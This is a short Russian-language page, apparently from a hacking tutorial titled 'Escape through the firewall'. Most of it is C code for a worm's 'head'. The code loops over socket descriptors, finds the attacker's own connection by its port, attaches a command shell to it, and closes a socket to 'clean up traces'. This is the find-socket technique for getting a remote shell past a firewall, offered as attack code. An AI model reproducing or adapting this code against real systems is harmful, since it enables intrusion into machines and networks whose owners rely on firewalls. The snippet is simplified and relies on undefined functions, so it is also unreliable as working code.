Побег через брандмаузер


Рисунок 6 find.gif атакующий засылает


Программная реализация головы червя в несколько упрощенном виде может выглядеть, например, так:

 

// шаг 1: перебираем все дескрипторы сокетов один за другим

for (a = 0; a < MAX_SOCKET; a++)

{

       *buff = 0;    // очищаем имя сокета

      

       // шаг 2: получаем адрес, связанный с данным дескриптором

       // (конечно при условии, что с ним вообще что-то связно)

       if (getpeername((SOCKET) a, (struct sockaddr*) &faddr, (int *) buff) != -1)

       {

              // шаг 3: идентифицируем свое TCP/IP соединение по своему порту

              if (htons(faddr.sin_port) == HACKERS_PORT)

                           sshell((SOCKET) a, MAX_BUF_SIZE);

       }

}

 

// шаг 4: подчищаем за собой следы

closesocket(fsocket);     




- Начало -  - Назад -  - Вперед -